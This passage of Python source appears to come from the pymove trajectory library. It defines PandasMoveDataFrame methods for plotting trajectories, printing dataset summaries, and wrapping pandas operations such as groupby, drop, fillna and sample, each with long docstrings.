not to save the generated picture.\n save_fig : bool, optional, default False.\n Represents whether or not to save the generated picture.\n name : str, optional, default 'trajectories.png'.\n Represents name of a file.\n\n Returns\n -------\n matplotlib.pyplot.figure or None\n The generated picture.\n\n \"\"\"\n\n operation = begin_operation('plot_trajs')\n\n fig = plt.figure(figsize=figsize)\n\n ids = self._data['id'].unique()\n for id_ in ids:\n selfid = self._data[self._data['id'] == id_]\n plt.plot(\n selfid[LONGITUDE],\n selfid[LATITUDE],\n markers,\n markersize=markersize,\n )\n\n if save_fig:\n plt.savefig(fname=name, fig=fig)\n\n self.last_operation = end_operation(operation)\n\n if return_fig:\n return fig\n\n def plot_traj_id(\n self,\n tid,\n label=TID,\n feature=None,\n value=None,\n figsize=(10, 10),\n return_fig=True,\n save_fig=False,\n name=None,\n ):\n \"\"\"\n Generate a visualization that shows a trajectory with the specified tid.\n\n Parameters\n ----------\n tid : any.\n Represents the trajectory tid.\n label : str, optional, default 'traj_id'.\n Feature with trajectories tids.\n feature : str, optional, default None.\n Name of the feature to highlight on plot.\n value : any, optional, defaut None.\n Value of the feature to be highlighted as green marker\n figsize : tuple, optional, default (10,10).\n Represents dimensions of figure.\n return_fig : bool, optional, default True.\n Represents whether or not to save the generated picture.\n save_fig : bool, optional, default False.\n Represents whether or not to save the generated picture.\n name : str, optional, default None.\n Represents name of a file.\n\n\n Returns\n -------\n pymove.core.MoveDataFrameAbstract subclass\n Trajectory with the specified tid.\n matplotlib.pyplot.figure or None\n The generated picture.\n\n Raises\n ------\n KeyError\n If the dataframe does not contains the TID feature\n IndexError\n If there is no trajectory with the tid passed\n\n \"\"\"\n\n operation = begin_operation('plot_traj_id')\n\n if label not in self._data:\n self.last_operation = end_operation(operation)\n raise KeyError('%s feature not in dataframe' % label)\n\n df_ = self._data[self._data[label] == tid]\n\n if not len(df_):\n self.last_operation = end_operation(operation)\n raise IndexError(f'No trajectory with tid {tid} in dataframe')\n\n fig = plt.figure(figsize=figsize)\n\n plt.plot(\n df_.iloc[0][LONGITUDE], df_.iloc[0][LATITUDE], 'yo', markersize=23\n ) # start point\n plt.plot(\n df_.iloc[-1][LONGITUDE], df_.iloc[-1][LATITUDE], 'yX', markersize=23\n ) # end point\n\n if (not feature) or (not value) or (feature not in df_):\n plt.plot(df_[LONGITUDE], df_[LATITUDE])\n plt.plot(\n df_.loc[:, LONGITUDE], df_.loc[:, LATITUDE], 'r.', markersize=8\n )\n else:\n filter_ = df_[feature] == value\n df_nodes = df_.loc[filter_]\n df_points = df_.loc[~filter_]\n plt.plot(df_[LONGITUDE], df_[LATITUDE], linewidth=3)\n plt.plot(\n df_nodes[LONGITUDE], df_nodes[LATITUDE], 'gs', markersize=13\n )\n plt.plot(\n df_points[LONGITUDE], df_points[LATITUDE], 'r.', markersize=8\n )\n\n if save_fig:\n if not name:\n name = 'trajectory_%s.png' % tid\n plt.savefig(fname=name, fig=fig)\n\n df_ = PandasMoveDataFrame(df_)\n self.last_operation = end_operation(operation)\n\n if return_fig:\n return df_, fig\n return df_\n\n def show_trajectories_info(self):\n \"\"\"\n Show dataset information from dataframe, this is number of rows,\n datetime interval, and bounding box.\n\n Examples\n --------\n ====================== INFORMATION ABOUT DATASET ======================\n Number of Points: 217654\n Number of IDs objects: 2\n Start Date:2008-10-23 05:53:05 End Date:2009-03-19 05:46:37\n Bounding Box:(22.147577, 113.54884299999999, 41.132062, 121.156224)\n =======================================================================\n \"\"\"\n\n operation = begin_operation('show_trajectories_info')\n\n try:\n message = ('=' * 22) + ' INFORMATION ABOUT DATASET ' + ('=' * 22)\n print(\n '\\n%s\\n' % message\n )\n print('Number of Points: %s\\n' % self._data.shape[0])\n\n if TRAJ_ID in self._data:\n print(\n 'Number of IDs objects: %s\\n'\n % self._data[TRAJ_ID].nunique()\n )\n\n if TID in self._data:\n print(\n 'Number of TIDs trajectory: %s\\n'\n % self._data[TID].nunique()\n )\n\n if DATETIME in self._data:\n dtmax = self._data[DATETIME].max()\n dtmin = self._data[DATETIME].min()\n print(\n 'Start Date:%s End Date:%s\\n'\n % (dtmin, dtmax)\n )\n\n if LATITUDE and LONGITUDE in self._data:\n print(\n 'Bounding Box:%s\\n' % (self.get_bbox(),)\n ) # bbox return = Lat_min , Long_min, Lat_max, Long_max\n\n if TIME_TO_PREV in self._data:\n tmax = round(self._data[TIME_TO_PREV].max(), 3)\n tmin = round(self._data[TIME_TO_PREV].min(), 3)\n print(\n 'Gap time MAX:%s Gap time MIN:%s\\n'\n % (tmax, tmin)\n )\n\n if SPEED_TO_PREV in self._data:\n smax = round(self._data[SPEED_TO_PREV].max(), 3)\n smin = round(self._data[SPEED_TO_PREV].min(), 3)\n print(\n 'Speed MAX:%s Speed MIN:%s\\n'\n % (smax, smin)\n )\n\n if DIST_TO_PREV in self._data:\n dmax = round(self._data[DIST_TO_PREV].max(), 3)\n dmin = round(self._data[DIST_TO_PREV].min(), 3)\n print(\n 'Distance MAX:%s Distance MIN:%s\\n'\n % (dmax, dmin)\n )\n\n print(\n '\\n%s\\n' % ('=' * len(message))\n )\n\n self.last_operation = end_operation(operation)\n except Exception as e:\n self.last_operation = end_operation(operation)\n raise e\n\n def min(\n self, axis=None, skipna=None, level=None, numeric_only=None, **kwargs\n ):\n \"\"\"\n Returns the minimum values for the requested axis of the dataframe.\n\n Parameters\n ----------\n axis: int, optional, default None, {index (0), columns (1)}.\n Axis for the function to be applied on.\n skipna: bool, optional, default None.\n Exclude NA/null values when computing the result.\n level: int or str, optional, default None.\n If the axis is a MultiIndex (hierarchical), count along\n a particular level, collapsing into a Series.\n numeric_only: bool, optional, default None\n Include only float, int, boolean columns.\n If None, will attempt to use everything, then use only numeric data.\n kwargs:\n Additional keyword arguments to be passed to the function\n\n Returns\n -------\n Series or DataFrame (if level specified)\n The minimum values for the request axis.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.min.html\n\n \"\"\"\n\n operation = begin_operation('min')\n _min = self._data.min(axis, skipna, level, numeric_only, **kwargs)\n self.last_operation = end_operation(operation)\n\n return _min\n\n def max(\n self, axis=None, skipna=None, level=None, numeric_only=None, **kwargs\n ):\n \"\"\"\n Returns the maximum values for the requested axis of the dataframe.\n\n Parameters\n ----------\n axis: int, optional, default None, {index (0), columns (1)}\n Axis for the function to be applied on.\n skipna: bool, optional, default None\n Exclude NA/null values when computing the result.\n level: int or str, optional, default None\n If the axis is a MultiIndex (hierarchical), count along\n a particular level, collapsing into a Series.\n numeric_only: bool, optional, default None\n Include only float, int, boolean columns.\n If None, will attempt to use everything, then use only numeric data.\n kwargs: keywords.\n Additional keyword arguments to be passed to the function.\n\n Returns\n -------\n Series or DataFrame (if level specified)\n The maximum values for the request axis.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.max.html\n\n \"\"\"\n\n operation = begin_operation('max')\n _max = self._data.max(axis, skipna, level, numeric_only, **kwargs)\n self.last_operation = end_operation(operation)\n\n return _max\n\n def count(self, axis=0, level=None, numeric_only=False):\n \"\"\"\n Uses the pandas'srs function count, to count the number of non-NA cells\n for each column or row.\n\n Parameters\n ----------\n axis: int, optional, default None, {index (0), columns (1)}\n if set to 0 or'index', will count for each column.\n if set to 1 or'columns', will count for each row.\n level: int or str, optional, default None\n If the axis is a MultiIndex (hierarchical), count along\n a particular level, collapsing into a DataFrame.\n A str specifies the level name\n numeric_only: bool, optional, default False\n If set to true, only float, int or boolean data, will be included.\n\n Returns\n --------\n Series or DataFrame.\n The number of non-NA/null entries for each column/row.\n If level is specified returns a DataFrame.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.count.html\n\n \"\"\"\n\n operation = begin_operation('count')\n _count = self._data.count(axis, level, numeric_only)\n self.last_operation = end_operation(operation)\n\n return _count\n\n def groupby(\n self,\n by=None,\n axis=0,\n level=None,\n as_index=True,\n sort=True,\n group_keys=True,\n squeeze=False,\n observed=False,\n **kwargs,\n ):\n \"\"\"\n Groups DataFrame using a mapper or by a Series of columns. A groupby\n operation involves some combination of splitting the object, applying a\n function, and combining the results. This can be used to group large\n amounts of data and compute operations on these groups.\n\n Parameters\n ----------\n by : mapping, function, label, or list, optional, default None\n Used to determine the groups for the groupby.\n If by is a function, it'srs called on each\n value of the object'srs index.\n If a dict or Series is passed, the Series or dict VALUES will\n be used to determine the groups (the Series' values are first\n aligned; see .align() method).\n If an ndarray is passed, the values are used as-is determined\n by the groups.\n A label or list of labels may be passed to group by the columns in\n self. Notice that a tuple is interpreted as a (single) key.\n axis : int, optional, default None, {index (0), columns (1)}\n Split along rows (0) or columns (1).\n level : Integer, level name, or sequence, optional (default None)\n If the axis is a MultiIndex (hierarchical),\n group by a particular level or levels.\n as_index : boolean, optional (default True)\n For aggregated output, return object with group labels as the index.\n Only relevant for DataFrame input. as_index=False\n is effectively 'SQL-style' grouped output.\n sort : boolean, optional (default True)\n Sort group keys. Get better performance by turning this off.\n Note this does not influence the order of observations\n within each group. Groupby preserves the order\n of rows within each group.\n group_keys : boolean, default True\n When calling apply, add group keys to index to identify pieces.\n squeeze : boolean, optional (default False)\n Reduce the dimensionality of the return type if possible,\n otherwise return a consistent type.\n observed : boolean, optional (default False)\n This only applies if any of the groupers are Categorical.\n If True: only show observed values for categorical groupers.\n If False: show all values for categorical groupers.\n **kwargs\n Optional, only accepts keyword argument 'mutated'\n and is passed to groupby.\n\n Returns\n -------\n DataFrameGroupBy:\n Returns groupby object that contains information about the groups.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.groupby.html\n\n \"\"\"\n\n operation = begin_operation('groupby')\n _groupby = self._data.groupby(\n by,\n axis,\n level,\n as_index,\n sort,\n group_keys,\n squeeze,\n observed,\n **kwargs,\n )\n self.last_operation = end_operation(operation)\n\n return _groupby\n\n def plot(self, *args, **kwargs):\n \"\"\"\n Makes a plot of _data.\n\n Parameters\n ----------\n args: arguments\n Arguments to pass to pandas plotting method\n kwargs: keywords\n Options to pass to matplotlib plotting method\n\n Returns\n -------\n `matplotlib.axes.Axes` or numpy.ndarray of them\n If the backend is not the default matplotlib one, the return value\n will be the object returned by the backend.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.plot.html\n\n \"\"\"\n\n operation = begin_operation('plot')\n _plot = self._data.plot(*args, **kwargs)\n self.last_operation = end_operation(operation)\n\n return _plot\n\n def select_dtypes(self, include=None, exclude=None):\n \"\"\"\n Returns a subset of the _data'srs columns based on the column dtypes.\n\n Parameters\n ----------\n include: scalar or list-like\n A selection of dtypes or strings to be included/excluded.\n exclude: scalar or list-like\n A selection of dtypes or strings to be included/excluded.\n\n Returns\n -------\n DataFrame\n The subset of the object including the dtypes in\n include and excluding the dtypes in exclude.\n\n Notes\n -----\n One of the parameters: include or exclude must be supplied.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.select_dtypes.html\n\n \"\"\"\n\n operation = begin_operation('select_dtypes')\n _select_dtypes = self._data.select_dtypes(include, exclude)\n self.last_operation = end_operation(operation)\n\n return _select_dtypes\n\n def astype(self, dtype, copy=True, errors='raise', **kwargs):\n \"\"\"\n Cast a pandas object to a specified dtype.\n\n Parameters\n ----------\n dtype: data type, or dict of column name -> data type\n Use a numpy.dtype or Python type to cast entire pandas object\n to the same type. Alternatively, use {col: dtype, …},\n where col is a column label and dtype is a numpy.dtype\n or Python type to cast one or more of the DataFrame'srs\n columns to column-specific types.\n copy: bool, optional, default None\n Return a copy when copy=True (be very careful setting\n copy=False as changes to values then\n may propagate to other pandas objects).\n errors: 'raise', 'ignore', optional, default raise\n Control raising of exceptions on invalid data for provided dtype.\n - raise : allow exceptions to be raised\n - ignore : suppress exceptions. On error return original object\n kwargs:\n keyword arguments to pass on to the constructor\n\n Returns\n -------\n DataFrame\n Casted object to specified type.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.astype.html\n\n \"\"\"\n\n if not copy and isinstance(dtype, str):\n raise AttributeError(\n 'Could not change lat, lon, and datetime type.'\n )\n elif not copy and isinstance(dtype, dict):\n keys = set(list(dtype.keys()))\n columns = {LATITUDE, LONGITUDE, DATETIME}\n if keys & columns:\n raise AttributeError(\n 'Could not change lat, lon, and datetime type.'\n )\n\n operation = begin_operation('astype')\n _astype = self._data.astype(dtype, copy, errors, **kwargs)\n self.last_operation = end_operation(operation)\n\n return _astype\n\n def sort_values(\n self,\n by,\n axis=0,\n ascending=True,\n inplace=False,\n kind='quicksort',\n na_position='last',\n ):\n \"\"\"\n Sorts the values of the _data, along an axis.\n\n Parameters\n ----------\n by: str or list of str\n Name or list of names to sort the _data by.\n axis: Integer, optional, default None, {index (0), columns (1)}\n if set to 0 or'index', will count for each column.\n if set to 1 or'columns', will count for each row\n ascending: boolean or list of beoolean, default True.\n Sort ascending vs. descending. Specify list for\n multiple sort orders.\n If this is a list of bools, must match the length of the by.\n inplace: Boolean, optional, default False\n if set to true the original dataframe will be altered,\n the duplicates will be dropped in place,\n otherwise the operation will be made in a copy,\n that will be returned.\n kind: 'quicksort', 'mergesort', 'heapsort', default 'quicksort'.\n Choice of sorting algorithm.\n For DataFrames, this option is only applied when sorting\n on a single column or label.\n na_position: 'first', 'last'.\n If 'first' puts NaNs at the beginning;\n If last puts NaNs at the end.\n\n Returns\n -------\n PandasDataframe or None\n Object with sorted values or None if ``inplace=True``.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.sort_values.html\n\n \"\"\"\n\n operation = begin_operation('sort_values')\n _sort_values = self._data.sort_values(\n by, axis, ascending, inplace, kind, na_position\n )\n\n if inplace:\n self.last_operation = end_operation(operation)\n return None\n _sort_values = PandasMoveDataFrame(data=_sort_values)\n self.last_operation = end_operation(operation)\n return _sort_values\n\n def reset_index(\n self, level=None, drop=False, inplace=False, col_level=0, col_fill=''\n ):\n \"\"\"\n Resets the DataFrame'srs index, and use the default one. One or more\n levels can be removed, if the DataFrame has a MultiIndex.\n\n Parameters\n ----------\n level: int, str, tuple, or list. Optional, default None\n Only the levels specify will be removed from the index.\n If set to None, all levels are removed.\n drop: boolean, optional, default False\n Do not try to insert index into dataframe columns.\n This resets the index to the default integer index.\n inplace: bool, optional, default False\n Modify the DataFrame in place (do not create a new object).\n col_level: int or str, default 0\n If the columns have multiple levels, determines which level\n the labels are inserted into.\n By default it is inserted into the first level..\n col_fill: object, default ''\n If the columns have multiple levels, determines how\n the other levels are named.\n If None then the index name is repeated.\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object with a reseted indexes or None if ``inplace=True``.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.reset_index.html\n\n \"\"\"\n\n operation = begin_operation('reset_index')\n _reset_index = self._data.reset_index(\n level, drop, inplace, col_level, col_fill\n )\n\n if inplace:\n self.last_operation = end_operation(operation)\n return None\n\n _reset_index = PandasMoveDataFrame(data=_reset_index)\n self.last_operation = end_operation(operation)\n return _reset_index\n\n def set_index(\n self,\n keys,\n drop=True,\n append=False,\n inplace=False,\n verify_integrity=False,\n ):\n \"\"\"\n Set the DataFrame index (row labels) using one or more existing columns\n or arrays (of the correct length).\n\n Parameters\n ----------\n keys: str or array of str.\n label or array-like or list of labels/arrays.\n This parameter can be either a single column key, a single\n array of the same length as the calling DataFrame,\n or a list containing an arbitrary combination of\n column keys and arrays.\n drop: bool, optional (True by defautl)\n Delete columns to be used as the new index.\n append: bool, optional (False by defautl)\n Whether to append columns to existing index.\n inplace: bool, optional (False by defautl)\n Modify the DataFrame in place (do not create a new object).\n verify_integrity: bool, optional (False by defautl)\n Check the new index for duplicates.\n Otherwise defer the check until necessary.\n Setting to False will improve the performance of this method.\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object with a new index or None if ``inplace=True``.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.set_index.html\n\n \"\"\"\n\n if inplace and drop:\n if isinstance(keys, str):\n aux = {keys}\n else:\n aux = set(keys)\n columns = {LATITUDE, LONGITUDE, DATETIME}\n print(aux, columns)\n if aux & columns:\n raise AttributeError(\n 'Could not change lat, lon, and datetime type.'\n )\n\n operation = begin_operation('set_index')\n _set_index = self._data.set_index(\n keys, drop, append, inplace, verify_integrity\n )\n\n if (\n isinstance(_set_index, pd.DataFrame)\n and MoveDataFrame.has_columns(_set_index)\n ):\n _set_index = PandasMoveDataFrame(data=_set_index)\n\n self.last_operation = end_operation(operation)\n return _set_index\n\n def drop(\n self,\n labels=None,\n axis=0,\n index=None,\n columns=None,\n level=None,\n inplace=False,\n errors='raise',\n ):\n \"\"\"\n Remove rows or columns by specifying label names and corresponding axis,\n or by specifying directly index or column names. When using a multi-\n index, labels on different levels can be removed by specifying the\n level.\n\n Parameters\n ----------\n labels: str or array of str\n Index or column labels to drop.\n axis: str or int, optional, default 0\n Whether to drop labels from the index (0 or 'index')\n or columns (1 or 'columns').\n index: str or array of str, optional (None by defautl)\n Alternative to specifying axis\n (labels, axis=0 is equivalent to index=labels).\n columns: str or array of str, optional (None by defautl)\n Alternative to specifying axis\n (labels, axis=1 is equivalent to columns=labels).\n level: int or str, optional (None by defautl)\n For MultiIndex, level from which the labels will be removed.\n inplace: bool, optional (False by defautl)\n If True, do operation inplace and return None.\n Otherwise, make a copy, do operations and return.\n errors:'ignore', 'raise', optional, default 'raise'\n If 'ignore', suppress error and only existing labels are dropped.\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object without the removed index or column labels.\n\n Raises\n ------\n KeyError\n If any of the labels is not found in the selected axis.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.drop.html\n\n \"\"\"\n\n if inplace:\n _labels1 = set()\n _labels2 = set()\n if labels is not None:\n if isinstance(labels, str):\n _labels1 = {labels}\n else:\n _labels1 = set(labels)\n elif columns is not None:\n if isinstance(columns, str):\n _labels2 = {columns}\n else:\n _labels2 = set(columns)\n _columns = {LATITUDE, LONGITUDE, DATETIME}\n if (\n (axis == 1 or axis == 'columns' or columns)\n and (_labels1.union(_labels2) & _columns)\n ):\n raise AttributeError(\n 'Could not drop columns lat, lon, and datetime.'\n )\n\n operation = begin_operation('drop')\n _drop = self._data.drop(\n labels, axis, index, columns, level, inplace, errors\n )\n\n if (\n (isinstance(_drop, pd.DataFrame))\n and MoveDataFrame.has_columns(_drop)\n ):\n _drop = PandasMoveDataFrame(data=_drop)\n\n self.last_operation = end_operation(operation)\n return _drop\n\n def duplicated(self, subset=None, keep='first'):\n \"\"\"\n Returns boolean Series denoting duplicate rows, optionally only\n considering certain columns.\n\n Parameters\n ----------\n subset: str, array of str, optional, default None\n Only consider certain columns for identifying duplicates,\n by default use all of the columns\n keep: str, optional (default 'first'), options: first', 'last', False.\n first : Mark duplicates as True except for the first occurrence.\n last : Mark duplicates as True except for the last occurrence.\n False : Mark all duplicates as True.\n\n Returns\n -------\n Series\n Denoting duplicated rows.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.duplicated.html\n\n \"\"\"\n\n operation = begin_operation('duplicated')\n _duplicated = self._data.duplicated(subset, keep)\n self.last_operation = end_operation(operation)\n\n return _duplicated\n\n def drop_duplicates(self, subset=None, keep='first', inplace=False):\n \"\"\"\n Uses the pandas'srs function drop_duplicates, to remove duplicated rows\n from data.\n\n Parameters\n ----------\n subset: int or str, optional, default None\n Only consider certain columns for identifying duplicates,\n by default use all of the columns\n keep: 'first', 'lasts', False, optional, default 'first'\n - first : Drop duplicates except for the first occurrence.\n - last : Drop duplicates except for the last occurrence.\n - False : Drop all duplicates.\n inplace: bool, optional, default False\n Whether to drop duplicates in place or to return a copy\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object with duplicated rows or None if ``inplace=True``.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.groupby.html\n\n \"\"\"\n\n operation = begin_operation('drop_duplicates')\n _drop_duplicates = self._data.drop_duplicates(subset, keep, inplace)\n\n if inplace:\n self.last_operation = end_operation(operation)\n return None\n\n _drop_duplicates = PandasMoveDataFrame(data=_drop_duplicates)\n self.last_operation = end_operation(operation)\n return _drop_duplicates\n\n def shift(self, periods=1, freq=None, axis=0, fill_value=None):\n \"\"\"\n Shift index by desired number of periods with an optional time freq.\n\n Parameters\n ----------\n periods: int, optional, default 1\n Number of periods to shift. Can be positive or negative.\n freq: pandas.DateOffset, pandas.Timedelta or str, optional, default None\n Offset to use from the tseries module or time rule (e.g. 'EOM').\n If freq is specified then the index values are shifted but\n the data is not realigned. That is, use freq if you would like\n to extend the index when shifting and preserve the original data.\n When freq is not passed, shift the index without realigning the\n data. If freq is passed (in this case, the index must be\n date or datetime, or it will raise a NotImplementedError),\n the index will be increased using the periods and the freq.\n axis: 0 or 'index', 1 or 'columns', None, optional, default 0\n Shift direction.\n fill_value: object, optional, default None\n The scalar value to use for newly introduced missing values.\n The default depends on the dtype of self.\n For numeric data, np.nan is used.\n For datetime, timedelta, or period data, etc.\n NaT is used. For extension dtypes, self.dtype.na_value is used.\n\n Returns\n -------\n PandasMoveDataFrame\n A copy of the original object, shifed.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.shift.html\n\n \"\"\"\n\n operation = begin_operation('shift')\n _shift = self._data.shift(periods, freq, axis, fill_value)\n _shift = PandasMoveDataFrame(data=_shift)\n self.last_operation = end_operation(operation)\n\n return _shift\n\n def all(self, axis=0, bool_only=None, skipna=True, level=None, **kwargs):\n \"\"\"\n Indicates if all elements are True, potentially over an axis. Returns\n True unless there at least one element within the Dataframe axis\n that is False or equivalent.\n\n Parameters\n ----------\n axis: 0 or 'index', 1 or 'columns', None, optional, default 0\n Indicate which axis or axes should be reduced.\n - 0 / 'index' : reduce the index, return a Series whose index\n is the original column labels.\n - 1 / 'columns' : reduce the columns, return a Series whose index\n is the original index.\n - None : reduce all axes, return a scalar.\n bool_only: bool, optional (None by defautl)\n Include only boolean columns.\n If None, will attempt to use everything, then use only boolean data\n skipna: bool, optional (True by defautl)\n Exclude NA/null values. If the entire row/column is NA and skipna\n is True, then the result will be True,\n as for an empty row/column. If skipna is False,\n then NA are treated as True,\n because these are not equal to zero.\n level: int or str(level name), optional (default None)\n If the axis is a MultiIndex (hierarchical), count along a\n particular level, collapsing into a Series.\n kwargs: any, default None\n Additional keywords have no effect but might be accepte\n for compatibility with NumPy.\n\n Returns\n -------\n Series or DataFrame\n If level is specified, then, DataFrame is returned;\n otherwise, Series is returned.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.all.html\n\n \"\"\"\n\n operation = begin_operation('all')\n _all = self._data.all(axis, bool_only, skipna, level, **kwargs)\n self.last_operation = end_operation(operation)\n\n return _all\n\n def any(self, axis=0, bool_only=None, skipna=True, level=None, **kwargs):\n \"\"\"\n Indicates if any element is True, potentially over an axis. Returns\n False unless there at least one element within the Dataframe axis that\n is True or equivalent.\n\n Parameters\n ----------\n Parameters\n ----------\n axis: 0 or 'index', 1 or 'columns', None, optional, default 0\n Indicate which axis or axes should be reduced.\n - 0 / 'index' : reduce the index, return a Series whose index\n is the original column labels.\n - 1 / 'columns' : reduce the columns, return a Series whose index\n is the original index.\n - None : reduce all axes, return a scalar.\n bool_only: bool, optional (None by defautl)\n Include only boolean columns.\n If None, will attempt to use everything, then use only boolean data\n skipna: bool, optional (True by defautl)\n Exclude NA/null values. If the entire row/column is NA and skipna\n is True, then the result will be True,\n as for an empty row/column. If skipna is False,\n then NA are treated as True,\n because these are not equal to zero.\n level: int or str(level name), optional (default None)\n If the axis is a MultiIndex (hierarchical), count along a\n particular level, collapsing into a Series.\n kwargs: any, default None\n Additional keywords have no effect but might be accepte\n for compatibility with NumPy.\n\n Returns\n -------\n Series or DataFrame\n If level is specified, then, DataFrame is returned;\n otherwise, Series is returned.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.any.html\n\n \"\"\"\n\n operation = begin_operation('any')\n _any = self._data.any(axis, bool_only, skipna, level, **kwargs)\n self.last_operation = end_operation(operation)\n\n return _any\n\n def isna(self):\n \"\"\"\n Detect missing values.\n\n Return a boolean same-sized object indicating if the values are NA.\n NA values, such as None or numpy.NaN, gets mapped to True values.\n Everything else gets mapped to False values.\n Characters such as empty strings '' or numpy.inf are not\n considered NA values\n (unless you set pandas.options.mode.use_inf_as_na = True).\n\n Returns\n -------\n DataFrame\n DataFrame of booleans showing for each element in\n DataFrame that indicates whether an element is not an NA value.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.fillna.html\n\n \"\"\"\n\n operation = begin_operation('isna')\n _isna = self._data.isna()\n self.last_operation = end_operation(operation)\n\n return _isna\n\n def fillna(\n self,\n value=None,\n method=None,\n axis=None,\n inplace=False,\n limit=None,\n downcast=None,\n ):\n \"\"\"\n Fill NA/NaN values using the specified method.\n\n Parameters\n ----------\n value : scalar, dict, Series, or DataFrame\n Value to use to fill holes (e.g. 0), alternately a\n dict/Series/DataFrame of values specifying which value to use for\n each index (for a Series) or column (for a DataFrame). Values not\n in the dict/Series/DataFrame will not be filled. This value cannot\n be a list.\n method : {'backfill', 'bfill', 'pad', 'ffill', None}, default None\n Method to use for filling holes in reindexed Series\n pad / ffill: propagate last valid observation forward to next valid\n backfill / bfill: use next valid observation to fill gap.\n axis : {0 or 'index', 1 or 'columns'}\n Axis along which to fill missing values.\n inplace : bool, default False\n If True, fill in-place. Note: this will modify any\n other views on this object (e.g., a no-copy slice for a column in a\n DataFrame).\n limit : int, default None\n If method is specified, this is the maximum number of consecutive\n NaN values to forward/backward fill. In other words, if there is\n a gap with more than this number of consecutive NaNs, it will only\n be partially filled. If method is not specified, this is the\n maximum number of entries along the entire axis where NaNs will be\n filled. Must be greater than 0 if not None.\n downcast : dict, default is None\n A dict of item->dtype of what to downcast if possible,\n or the str 'infer' which will try to downcast to an appropriate\n equal type (e.g. float64 to int64 if possible).\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object with missing values filled or None if ``inplace=True``.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.fillna.html\n\n \"\"\"\n\n operation = begin_operation('fillna')\n _fillna = self._data.fillna(\n value, method, axis, inplace, limit, downcast\n )\n\n if inplace:\n self.last_operation = end_operation(operation)\n return None\n\n _fillna = PandasMoveDataFrame(data=_fillna)\n self.last_operation = end_operation(operation)\n return _fillna\n\n def dropna(\n self, axis=0, how='any', thresh=None, subset=None, inplace=False\n ):\n \"\"\"\n Removes missing data.\n\n Parameters\n ----------\n axis: 0 or 'index', 1 or 'columns', None, optional, default 0\n Determine if rows or columns are removed.\n - 0, or 'index' : Drop rows which contain missing values.\n - 1, or 'columns' : Drop columns which contain missing value.\n how: str, optional, default 'any', options: 'any', 'all'\n Determine if row or column is removed from DataFrame,\n when we have at least one NA or all NA.\n - 'any' : If any NA values are present, drop that row or column.\n - 'all' : If all values are NA, drop that row or column.\n thresh: int, optional, default None\n Require that many non-NA values.\n subset: array-like, optional, default None\n Labels along other axis to consider,\n e.g. if you are dropping rows these would be a\n list of columns to include.\n inplace: bool, optional (default False)\n If True, do operation inplace and return None\n\n Returns\n -------\n PandasMoveDataFrame or None\n Object with NA entries dropped or None if ``inplace=True``.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.dropna.html\n\n \"\"\"\n\n if inplace:\n if axis == 1 or axis == 'columns':\n columns = [LATITUDE, LONGITUDE, DATETIME]\n data = self._data[columns]\n if data.isnull().values.any():\n raise AttributeError(\n 'Could not drop columns lat, lon, and datetime.'\n )\n\n operation = begin_operation('dropna')\n _dropna = self._data.dropna(axis, how, thresh, subset, inplace)\n\n if (\n isinstance(_dropna, pd.DataFrame)\n and MoveDataFrame.has_columns(_dropna)\n ):\n _dropna = PandasMoveDataFrame(data=_dropna)\n\n self.last_operation = end_operation(operation)\n return _dropna\n\n def sample(\n self,\n n=None,\n frac=None,\n replace=False,\n weights=None,\n random_state=None,\n axis=None,\n ):\n \"\"\"\n Return a random sample of items from an axis of object.\n\n You can use `random_state` for reproducibility.\n\n Parameters\n ----------\n n : int, optional\n Number of items from axis to return. Cannot be used with `frac`.\n Default = 1 if `frac` = None.\n frac : float, optional\n Fraction of axis items to return. Cannot be used with `n`.\n replace : bool, default False\n Allow or disallow sampling of the same row more than once.\n weights : str or ndarray-like, optional\n Default 'None' results in equal probability weighting.\n If passed a Series, will align with target object on index. Index\n values in weights not found in sampled object will be ignored and\n index values in sampled object not in weights will be assigned\n weights of zero.\n If called on a DataFrame, will accept the name of a column\n when axis = 0.\n Unless weights are a Series, weights must be same length as axis\n being sampled.\n If weights do not sum to 1, they will be normalized to sum to 1.\n Missing values in the weights column will be treated as zero.\n Infinite values not allowed.\n random_state : int or numpy.random.RandomState, optional\n Seed for the random number generator (if int), or numpy RandomState\n object.\n axis : {0 or 'index', 1 or 'columns', None}, default None\n Axis to sample. Accepts axis number or name. Default is stat axis\n for given data type (0 for Series and DataFrames).\n\n Returns\n -------\n PandasMoveDataFrame\n A new object of same type as caller containing `n` items randomly\n sampled from the caller object.\n\n See Also\n --------\n numpy.random.choice: Generates a random sample from a given 1-D numpy\n array.\n\n Notes\n -----\n If `frac` > 1, `replacement` should be set to `True`.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.sample.html\n\n \"\"\"\n 